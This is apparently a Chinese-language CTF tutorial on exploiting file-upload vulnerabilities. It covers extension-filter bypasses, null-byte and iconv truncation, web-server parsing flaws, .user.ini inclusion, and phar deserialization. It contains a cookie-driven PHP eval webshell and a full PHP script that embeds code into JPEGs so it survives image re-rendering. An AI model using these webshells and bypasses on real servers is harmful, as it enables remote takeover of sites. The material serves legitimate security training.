前言:由于我学习时使用的ctf平台是内部环境,不便公开,所以本文章只讲述做题思路和方法,练习平台大家自行选择,可以使用在线的ctf平台如:ctfshow、buuctf、bugkuctf等,也可以使用网上公开的靶场upload-labs学习。Web题目做题思路第一步拿到题目后,判断题目利用的漏洞方式为读取、写入、还是执行。在不能马上确定的情况下,就由从低到高,依次挖掘,即先找文件读取、再找文件写入、再找命令执行。这一步先确定出最终要拿到的权限,确定渗透方向。 第二步判断漏洞的大概类型,或者题目大概的考点,比如,有登入框,就测试sql注入更具题目网站提供的功能点和网站的组件进行判断。这样一步步确定具体的利用思路,实现漏洞利用。 第三步寻找敏感数据,拿到最终flag。 什么是文件上传漏洞?如果对文件上传路径变量过滤不严,并且对用户上传的文件后缀以及文件类型限制不严,攻击者可通过 Web 访问的目录上传任意文件,包括网站后门文件(webshell),进而远程控制网站服务器。 所以一般需注意: 在开发网站及应用程序过程中,需严格限制和校验上传的文件,禁止上传恶意代码的文件 限制相关目录的执行权限,防范 webshell 攻击 危害就是上传网站后门文件(获取webshell) 注意:ctf中的文件上传题目大多数都为黑盒测试,做题流程通常都为一个个方法测试进行推测,所以本篇文章中的所有解题思路都有可能用上。 网站检测机制与防护手段通常网站的检测机制是检查文件后缀,检查后缀分为两种情况 白名单过滤:白名单过滤就是只允许上传它指定的文件后缀如:png、.jpg等,这种过滤在没有其他漏洞辅助的情况下几乎不可能绕过。 黑名单过滤: 顾名思义就是不允许上传它指定的文件后缀,如php,phtml,phps,php3/4/5/6/7这种能解析php脚本的文件后缀,这种主要看他的黑名单写的全不全,因为有很多种办法能解析php。 关键字替换双写绕过原理:服务端对黑名单中的内容进行处理,且仅处理一次,比如说使用str_replace()函数(函数具体使用自行了解),所以可以通过双写后缀绕过。 使用brup抓包,我们直接上传一个1.php 可以看到返回结果php被去空了,当时文件还是上传了,那么我们尝试使用双写绕过 看到文件上传成功,我们用蚁剑连接即可 如果php后缀替换为txt时,我们无法双写绕过,1.pphphp 1.ptxthp php文件上传的00截断其实截断的原理也很简单,无论0x00还是%00,最终被解析后都是一个东西:chr(0) chr()是一个函数,这个函数是用来返回参数所对应的字符的,也就是说,参数是一个ASCII码,返回的值是一个字符,类型为string。 那么chr(0)就很好理解了,对照ASCII码表可以知道,ASCII码为0-127的数字,每个数字对应一个字符,而0对应的就是NUT字符(NULL),也就是空字符,而截断的关键就是这个空字符,当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃。 那么就可以知道00截断的原理了,在后缀中插入一个空字符(不是空格),会导致之后的部分被丢弃,而导致绕过的发生。 如:在文件1.php.jpg中插入空字符变成:1.php.0x00.jpg中,解析后就会只剩下1.php,而空字符怎么插入的呢? 通常我们会用Burp抓包后,在文件名插入一个空格,然后再HEX中找到空格对应的16进制编码“20”,把它改成00(即16进制ASCII码00,对应十进制的0),就可以插入空字符了 这个漏洞比较老条件比较苛刻就不演示了 00字符截断需要的版本 php版本小于5.3.4 而最新的php版本已经达到8.1 java版本小于7u40,而最新的java版本已经达到20以上 iconv字符转换异常后造成了字符截断php在文件上传场景下的文件名字符集转换时,可能出现截断问题 utf-8字符集 默认的字符编码范围的是0x00-0x7f iconv转换的字符不在上面这个范围之内,低版本的php会报异常,报了异常以后,后续字符不再处理 就会造成截断问题 123.php%df.jpg 123.php iconv截断需要的版本 php版本低于5.4才可以使用 黑名单后缀绕过 黑名单绕过的思路就是使用其它可以使网站解析的文件后缀,以php为例,比如:php3,php4,php5,phtml等,这里放张表
就替换个后缀,这里不多说 文件内容检测 文件内容检测常见的有:文件头检测、php标签检测、命令函数检测、传参方式检测。 文件头检测
php标签检测 使用其他php能解析的标签 比如 命令函数检测 如果检测eval之类的,用assert即可,有很多能使用,一个个尝试即可 传参方式检测 比如不允许出现post,get,可以使用cookie之类的绕过 上传一句话写有一句话木马的.txt,提示 这时我们要更改关键字来判断它检测了哪些内容,经过多次测试最后内容为 <?=eval($_COOKIE[1]); 上传我们的1.txt和.user.ini 然后给网站添加cookie
因为直接写phpinfo不行,所以我们所以base64编码一下,再解码 web服务器的解析漏洞绕过iis IIS6.0有2种解析漏洞 1. 目录解析 以*.asp命名的文件夹里的文件都将会被当成ASP文件执行。 2. 文件解析 *.asp;.jpg 像这种畸形文件名在“;”后面的直接被忽略,也就是说当成 *.asp文件执行。 apache 多后缀解析漏洞当我们上传apache不认识的后缀时,apahce会继续往前找后缀,找到认识的就解析执行,列如: 123.txt.ctfshow 123.txt 文本文档形式解析 123.php.ctfshow 123.php 就交给中间件处理php脚本 nginx 基于错误的nginx配置 和 php-fpm配置,当我们访问 123.txt/123.php 我们上传一个1.txt 上传成功然后访问/upload/1.txt/1.php cgi.fix_pathinfo 默认开启 123.txt/123.php 当123.php不存在时,会找/前面的文件进行php解析,这时候,就成功解析了123.txt为php脚本了 .user.ini使用 如果黑名单没有限制.user.ini是可以造成非常大的危害的 我们先上传一个.user.ini文件,文件内容是包含一个1.txt auto_append_file=123.txt 然后上传123.txt
然后访问index.php即可 .user.ini高级玩法 我们拿到题目,还是老样子上传1.txt,发现存在内容检测,经过多次尝试,发现过滤了 .user.ini 还是上传.user.ini文件,包含日志文件。
上传html来xss 执行跨站脚本这个就是没过滤html后缀文件导致xss,其实还有个更骚的思路,直接上传一个写有文件上传功能的html文件,然后访问,在自己上传的html里上传一个shell文件,达成getshell的目的 getimagesize函数绕过getimagesize函数来检测是不是图片,而不采取其他措施的情况下,如果一旦绕过getimagesize函数,就可以实现任意文件上传 XBM 格式图片 #define %s %d 这种形式,就认为时XBM图片的高或者宽 .user.ini #define width 100; #define height 100; auto_append_file=/var/log/nginx/access.log 看到文件上传成功,我们访问index.php 图片二次渲染绕过顾名思义,就是对我们上传的png文件通过imagepng方法来,来动态依据我们上传的图片的二次生成一个png图片,这样里面的php代码就会被清洗掉 我们先随便上传个文件,发现url有个 那我们用我们的脚本生成一个png文件
图片生成后上传,显示查看图片,发现图片不一样,经过了二次渲染 对于gif图片,gif图片的特点是无损(修改图片后,图片质量几乎没有损失),我们可以对比上传前后图片的内容字节,在渲染后不会被修改的部分插入木马。对比工具可以使用burp,也可以使用010编辑器(更直观一点) 直接上脚本,由于jpg图片易损,对图片的选取有很大关系,很容易制作失败 <?php $miniPayload = '<?=phpinfo();?>';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { die('php-gd is not installed'); }
if(!isset($argv[1])) { die('php jpg_payload.php <jpg_name.jpg>'); }
set_error_handler('custom_error_handler');
for($pad = 0; $pad < 1024; $pad++) { $nullbytePayloadSize = $pad; $dis = new DataInputStream($argv[1]); $outStream = file_get_contents($argv[1]); $extraBytes = 0; $correctImage = TRUE;
if($dis->readShort() != 0xFFD8) { die('Incorrect SOI marker'); }
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { $marker = $dis->readByte(); $size = $dis->readShort() - 2; $dis->skip($size); if($marker === 0xDA) { $startPos = $dis->seek(); $outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat('\0',$nullbytePayloadSize) . substr($outStream, $startPos); checkImage('_'.$argv[1], $outStreamTmp, TRUE); if($extraBytes !== 0) { while((!$dis->eof())) { if($dis->readByte() === 0xFF) { if($dis->readByte !== 0x00) { break; } } } $stopPos = $dis->seek() - 2; $imageStreamSize = $stopPos - $startPos; $outStream = substr($outStream, 0, $startPos) . $miniPayload . substr( str_repeat('\0',$nullbytePayloadSize). substr($outStream, $startPos, $imageStreamSize), 0, $nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos); } elseif($correctImage) { $outStream = $outStreamTmp; } else { break; } if(checkImage('payload_'.$argv[1], $outStream)) { die('Success!'); } else { break; } } } } unlink('payload_'.$argv[1]); die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) { global $correctImage; file_put_contents($filename, $data); $correctImage = TRUE; imagecreatefromjpeg($filename); if($unlink) unlink($filename); return $correctImage; }
function custom_error_handler($errno, $errstr, $errfile, $errline) { global $extraBytes, $correctImage; $correctImage = FALSE; if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { if(isset($m[1])) { $extraBytes = (int)$m[1]; } } }
class DataInputStream { private $binData; private $order; private $size;
public function __construct($filename, $order = false, $fromString = false) { $this->binData = ''; $this->order = $order; if(!$fromString) { if(!file_exists($filename) || !is_file($filename)) die('File not exists ['.$filename.']'); $this->binData = file_get_contents($filename); } else { $this->binData = $filename; } $this->size = strlen($this->binData); }
public function seek() { return ($this->size - strlen($this->binData)); }
public function skip($skip) { $this->binData = substr($this->binData, $skip); }
public function readByte() { if($this->eof()) { die('End Of File'); } $byte = substr($this->binData, 0, 1); $this->binData = substr($this->binData, 1); return ord($byte); }
public function readShort() { if(strlen($this->binData) < 2) { die('End Of File'); } $short = substr($this->binData, 0, 2); $this->binData = substr($this->binData, 2); if($this->order) { $short = (ord($short[1]) << 8) + ord($short[0]); } else { $short = (ord($short[0]) << 8) + ord($short[1]); } return $short; }
public function eof() { return !$this->binData||(strlen($this->binData) === 0); } } ?>
运行脚本命令:
phar文件上传绕过JAR是开发java程序一个应用,包括所有的可执行、可访问的文件都打包进了一个JAR文件里,使得部署过程十分简单。phar是php里类似与JAR的一种打包文件。对于PHP5.3或更高版本。Phar后缀文件是默认开启支持的,可以使用它。 stub:phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。 manifest:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。 content:被压缩文件的内容 signature (可空):签名,放在末尾。 注意: phar文件上传绕过的本质就是phar反序列化,只不过是需要文件上传点,这个条件是非常苛刻的,要对方存在文件上传,存在文件包含并且支持phar伪协议,存在反序列化漏洞。 直接看题吧 <?php 我这里不对代码进行过多的讲解了,看注释。 解题步骤:1.生成一个phar文件-->2.在mate-data里放置一个包含TestObject()的序列号字符串-->3.上传文件-->4.md5_file执行phar伪协议,触发反序列化-->5.反序列化TestObject()触发__destruck执行echo $flag 生成phar文件
我生成phar的环境使用的是 要在php.ini中修改在这个 然后访问文件,生成phar包,由于有对文件后缀进行白名单过滤,所有修改文件后缀伪jpg 上传文件 包含文件,读取flag
|
|